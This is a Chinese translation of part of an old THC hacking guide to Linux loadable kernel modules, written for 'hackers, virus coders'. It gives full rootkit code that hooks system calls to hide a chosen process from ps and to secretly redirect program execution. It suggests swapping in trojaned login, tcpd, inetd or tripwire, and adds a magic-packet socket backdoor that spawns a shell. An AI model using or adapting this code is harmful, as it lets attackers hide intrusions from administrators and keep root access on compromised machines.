Linux 可卸载内核模块完全指南之八
the definitive guide for hackers, virus coders and system administrators
(作者:pragmatic/THC,(版本1.0) 2000年05月16日 16:55)
2.5 和进程有关的入侵
到目前为止,文件系统已经完全在我们的掌握之下了,我们讨论了最有意思的‘Hacks’,现在是我们换方向的时候了,我们需要LKMs能够迷惑那些像‘ps’那样的显示进程的命令。
2.5.1 如何隐藏任何进程
我们平常所需要的最重要的一件事情是让一个进程逃过系统管理员的眼睛.假如一个监听器,破解器...什么的被系统管理员用一个\ps\命令看出来了...老的学究的方法是改变监听器的文件名,并且希望那个系统管理员足够的傻.这不是一个可靠的方法.我们希望能够完全的隐藏进程.让我们看看plaguez的一个实现(有非常小的改动):
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*我们想隐藏的进程名*/
char mtroj[] = \"my_evil_sniffer\";
int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
/*将一个字符串转换为数字*/
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if (*ptr < \0\ || *ptr > \9\)
return (-1);
res += (*ptr - \0\) * mul;
mul *= 10;
}
return (res);
}
/*从PID中得到任务结构*/
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = current;
do {
if (p->pid == pid)
return p;
p = p->next_task;
}
while (p != current);
return NULL;
}
/*从任务结构中得到进程名*/
static inline char *task_name(struct task_struct *p, char *buf)
{
int i;
char *name;
name = p->comm;
i = sizeof(p->comm);
do {
unsigned char c = *name;
name++;
i--;
*buf = c;
if (!c)
break;
if (c == \\\\\\) {
buf[1] = c;
buf += 2;
continue;
}
if (c == \\\n\) {
buf[0] = \\\\\\;
buf[1] = \n\;
buf += 2;
continue;
}
buf++;
}
while (i);
*buf = \\\n\;
return buf + 1;
}
/*检查我们是否需要隐藏这个进程*/
int invisible(pid_t pid)
{
struct task_struct *task = get_task(pid);
char *buffer;
if (task) {
buffer = kmalloc(200, GFP_KERNEL);
memset(buffer, 0, 200);
task_name(task, buffer);
if (strstr(buffer, (char *) &mtroj)) {
kfree(buffer);
return 1;
}
}
return 0;
}
/*看2.4获得文件系统入侵的更为详细的信息*/
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
unsigned int tmp, n;
int t, proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;
tmp = (*orig_getdents) (fd, dirp, count);
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
proc=1;
if (tmp > 0) {
dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
memcpy_fromfs(dirp2, dirp, tmp);
dirp3 = dirp2;
t = tmp;
while (t > 0) {
n = dirp3->d_reclen;
t -= n;
if ((proc && invisible(myatoi(dirp3->d_name)))) {
if (t != 0)
memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
else
dirp3->d_off = 1024;
tmp -= n;
}
if (t != 0)
dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
}
memcpy_tofs(dirp, dirp2, tmp);
kfree(dirp2);
}
return tmp;
}
int init_module(void)
/*初始化模块*/
{
orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=hacked_getdents;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_getdents]=orig_getdents;
}
这个代码看起来有点复杂.但是如果你知道\ps\或者其他的进程分析工具是如何工作的这些代码还是很容易理解的.像\ps\这样的命令并不使用任何特殊的系统调用来获得当前进程的列表(也不存在实现这个功能的系统调用).通过跟踪\ps\你会发现他从/proc/目录中获得这些信息.在那里你可以发现很多名字只由数字组成的目录.这些数字就是那个系统中所有运行进程的PID.在这些目录里面你会发现提供给进程信息的所有文件.因此,\ps\命令不过是在/proc/里面来一个\ls\命令.每一个数字就代表一个PID,从而获得那个著名的列表.所有展示给我们的有关这个进程的信息就是从/proc/PID/下面的文件中读出来的.现在你可以理解了.\ps\一定是读了/proc/目录里面的内容.因此一定使用了sys_getdents(...).我们必须获得在/proc/下面发现的PID进程的名字.如果这个这个进程的名字是我们想要隐藏的.我们就要把他从/proc/中隐藏起来.(就像我们在文件系统对其他的文件一样->见4.1).这两个任务函数和那个invisible(...)只是用来找到某个给定的在/proc/目录中找到的PID的名字和相关的信息.关于文件的隐藏在学过2.4.1以后应该十分清楚了.
在plaguez的实现中我只会有一点改进.我不知道为什么他要使用自己的atoi函数.一个简单的_strtoul(...)会更容易一些.但是这些都是微不足道的.当然,一个完整的隐藏模块会用一个被修改的getdents调用把文件和进程都屏蔽起来.(这也是plaguez实现的方法).Runar Jensen使用另一个更为复杂的方法.他也隐藏了/proc目录下面的PID,但是他检查是否是否该隐藏的方法有一点不一样.他用一个任务结构中的标志位.这个unsigned long位通常用于保存任务的一些信息常量:
PF_PTRACED : 当前进程是保留的
PF_TRACESYS : \" \" \" \"
PF_STARTING :进程马上就要开始了
PF_EXITING : 进程马上就要结束了.
现在Runar Jensen加了一个他自己的常量(PF_INVISIBLE)用来表示相对应的进程是否应该被隐藏.因此一个用sys_getdents找到的/proc下面的PID不需要解析出它的名字.你只需要检查那个任务的标志位.这看上去比用名字的实现方法更为简单.但是如何给这个我们要隐藏的进程设置这个标志位呢?Runar Jensen使用了最简单的方法--截获sys_kill(...).\kill\命令可以送一个特殊的代码(比如说9是结束)给任何由PID指定的进程.因此,启动你想隐藏的进程.用一个\ps\命令获得他的PID,然后使用一个\kill -code PID\.这个code域必须是一个系统没有使用过的值.(因此9是一个坏的选择);Runar Jensen使用的是32.因此这个模块必须截获sys_kill(...)并且检查代码是否为32.如果是的话,就必须设置这个PID所决定的进程的任务标志位.这就是设置标志位的方法.现在应该清楚了为什么这个实现比起前一个会有一些太复杂一点.
2.5.2 如果改变文件的执行结果
在某些情况下,改变一个文件的执行结果是十分有趣的.这些文件可以是/bin/login(就像plaguez做的那样),tecpd,等等.这会允许你加入任何木马而不会有文件的校验和检查问题.(你并不需要改变他们).因此让我们再次搜索相对应的系统调用.sys_execve(...)是我们需要的.让我们看看plaguez的实现方法(最初的想法来自halflife):
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*必须被定义因为系统调用宏会使用*/
int errno;
/*我们定义自己的系统调用*/
int __NR_myexecve;
/*我们必须使用brk*/
static inline _syscall1(int, brk, void *, end_data_segment);
int (*orig_execve) (const char *, const char *[], const char *[]);
/*这儿使用plaguez\s的方法->以字符串为类型的内核空间的传输比memcpy_fromfs(...)要好*/
char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;
do {
dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != \\\0\) && (compt != n));
return dest;
}
/*这是一个类似于SYS_execve的系统调用宏.汇编代码使用int 0x80并使用我们需要的寄存器来进行我们自己的__NR_myexecve系统调用*/
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
long __res;
__asm__ volatile (\"int $0x80\":\"=a\" (__res):\"0\"(__NR_myexecve), \"b\"((long)
(filename)), \"c\"((long) (argv)), \"d\"((long) (envp)));
return (int) __res;
}
int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
char *test;
int ret, tmp;
char *truc = \"/bin/ls\";
/*我们应该执行的文件*/
char *nouveau = \"/bin/ps\";
/*实际上执行的文件*/
unsigned long mmm;
test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
/*获得用户想执行的文件*/
(void) strncpy_fromfs(test, filename, strlen(truc));
test[strlen(truc)] = \\\0\;
/*是我们想截获的文件么?*/
if (!strcmp(test, truc))
{
kfree(test);
mmm = current->mm->brk;
ret = brk((void *) (mmm + 256));
if (ret < 0)
return ret;
/*设置新的文件名(任何我们想执行的程序,除了/bin/ls)*/
memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
/*使用相同的参数和环境执行这个文件*/
ret = my_execve((char *) (mmm + 2), argv, envp);
tmp = brk((void *) mmm);
} else {
kfree(test);
/*不是/bin/ls,用正常方式执行*/
ret = my_execve(filename, argv, envp);
}
return ret;
}
int init_module(void)
/*初始化模块*/
{
/*下面的代码选择我们自己的新的myexeve的系统调用代码.*/
__NR_myexecve = 200;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
__NR_myexecve--;
orig_execve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0)
{
sys_call_table[__NR_myexecve] = orig_execve;
sys_call_table[SYS_execve] = (void *) hacked_execve;
}
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_execve]=orig_execve;
}
当你加载这个模块时,每一个对/bin/ls的运行命令都会执行/bin/ps.下面的列表给出了一些使用这种execve的一些想法:
用木马替换/bin/login(plaguez建议)
用木马替换tcpd使得在某个端口开一个拥有root权限的shell.或者来纪录某些信息(记得CERT的关于TCPD版本的木马的意见么?)
用木马来替换inetd获得一个rootshell.
用木马替换httpd,sendmail,....任何一个你想得到的服务,通过传入一个特殊的字符串来获得一个rootshell.
用木马替换像tripwire这样的工具.
其他和系统安全有关的工具.
会有其他成千上万种有趣的程序可以被木马替换,只要用你的脑子想像就可以了.
2.6 和网络(Socket)有关的入侵
网络是hacker的舞台.让我们看看一些对我们有帮助的东西
2.6.1 如果控制Socket操作
通过控制Socket操作,你可以做很多事情.plaguez给了我们一个很漂亮的后门.他不过是拦截了sys_socketcall系统调用,等待一个特定内容和长度的包.让我们看看他的替换后的系统调用(我将只给出这个调用,因为其他的和这一章里面的其他LKMs是一样的):
int hacked_socketcall(int call, unsigned long *args)
{
int ret, ret2, compt;
/*我们的特定的大小*/
int MAGICSIZE=42;
/*我们的特定的内容*/
char *t = \"packet_contents\";
unsigned long *sargs = args;
unsigned long a0, a1, mmm;
void *buf;
/*进行系统调用*/
ret = (*o_socketcall) (call, args);
/*是收到我们需要大小的包么?*/
if (ret == MAGICSIZE && call == SYS_RECVFROM)
{
/*对参数进行分析*/
a0 = get_user(sargs);
a1 = get_user(sargs + 1);
buf = kmalloc(ret, GFP_KERNEL);
memcpy_fromfs(buf, (void *) a1, ret);
for (compt = 0; compt < ret; compt++)
if (((char *) (buf))[compt] == 0)
((char *) (buf))[compt] = 1;
/*是否有我们的特定的内容*/
if (strstr(buf, mtroj))
{
kfree(buf);
ret2 = fork();
if (ret2 == 0)
{
/*如果是,执行我们的程序(shell或者任何我们想要得...)*/
mmm = current->mm->brk;
ret2 = brk((void *) (mmm + 256));
memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
/*plaguez的execve实现->见2.4.2*/
ret2 = my_execve((char *) mmm + 2, NULL, NULL);
}
}
}
return ret;
}
OK,像往常一样,我对代码加了一些注释.这些代码看上去有点难看.但是很好用.这个代码拦截了每一个sys_socketcall(这是和所有socket操作有关的系统调用,见1.2).在替换以后的代码中,我们先调用了正常的系统调用.在此之后返回了值和调用参数被检查.如果这是一个接收操作并且包的大小(...和tcp/ip包毫无关系...)是我们所需要的,我们就会检查接收包的内容.如果可以找到我们想要的内容,这个代码就会确定我们(hacker)想启动一个后门程序.这个由my_execve(...)完成.
在我看来,这个实现十分的好.他也可以用来等待一个特定的连接或者关闭操作,只要你有创造力.
要记住上面提到的方法需要一个在某个端口的服务.因为接收操作只会在一个守护进程从某个已经建立的连接中接收数据时才会发生.这是一个不好的地方,因为某些多疑的管理员会注意到这些.在你的系统中测试这些后门程序并看看会发生什么事情.发现你的最喜欢的利用sys_socketcall的方法,并且在你控制的系统中使用他.
发布人:netbull 来自:Linux中文资料